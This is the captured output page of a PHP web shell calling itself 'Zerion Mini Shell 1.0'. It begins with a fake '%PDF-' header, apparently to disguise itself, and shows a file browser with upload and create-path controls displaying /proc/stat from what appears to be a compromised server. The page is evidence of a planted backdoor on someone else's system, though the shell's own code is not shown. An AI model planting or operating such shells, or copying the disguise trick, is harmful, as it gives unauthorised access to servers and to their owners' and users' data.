%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/
Upload File :
Create Path :
Current File : //proc/stat

cpu  2120526821 333806265 911603516 54861322583 74979806 102280210 95209329 397659937 0 0
cpu0 142462087 13560129 50657907 2666350310 3673881 10181149 37538667 28524626 0 0
cpu1 125284125 14884452 49301492 2718289072 4256629 5447499 7152480 21783099 0 0
cpu2 119442507 15866744 47707614 2727870941 4300461 5273179 4136721 20490808 0 0
cpu3 115395390 15894033 46658399 2733959819 4223199 5193798 3263066 20016079 0 0
cpu4 112349966 17018471 45687994 2737319052 4216529 5093555 2957584 19770404 0 0
cpu5 109921922 16019200 45082536 2741683372 4153524 5025247 2797977 19610412 0 0
cpu6 108673788 17340759 44650527 2742321717 4108539 4848893 2700130 19704650 0 0
cpu7 107580586 17327647 44277588 2743908181 4126657 4805326 2639224 19595730 0 0
cpu8 106759276 16305048 43869088 2746288974 4155819 4798048 2596483 19296862 0 0
cpu9 93696923 13423185 40999873 2765331907 3429375 4986454 2757098 19665658 0 0
cpu10 197672424 21311695 62717806 2625911077 8495373 5642429 2860039 19426317 0 0
cpu11 108862977 17732824 47833072 2740143357 3605753 4532698 2409269 19155214 0 0
cpu12 88832013 16822758 44247593 2763665608 2549634 5124761 4091182 19330166 0 0
cpu13 84359722 18559791 42775795 2771148933 2240051 4162382 2138681 18854858 0 0
cpu14 80083849 17643320 42340287 2775833847 2052530 4548000 2863041 18752619 0 0
cpu15 77661320 17891105 41468540 2780445374 1920869 4042394 2072073 18685919 0 0
cpu16 76065782 17209353 40885699 2783532840 1836520 3989451 2032815 18658833 0 0
cpu17 74920008 16706614 40448649 2785744443 1778678 4041339 2025017 18434826 0 0
cpu18 74138431 16578461 40100997 2787168139 1737910 3973394 1999416 18405103 0 0
cpu19 116363712 15710668 49892049 2724405611 8117869 6570203 4178356 19497744 0 0
intr 81601653172 41 9 0 0 0 0 0 0 1 0 0 32 15 0 0 0 0 0 0 0 0 0 0 0 0 0 0 3189168811 0 10 0 4080479922 2570797880 0 181910675 6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 116910988772
btime 1747348758
processes 983023423
procs_running 2
procs_blocked 0
softirq 84723884092 1 3707625911 3311 201294128 3199473980 0 384040707 3658122046 931864 557948112

Zerion Mini Shell 1.0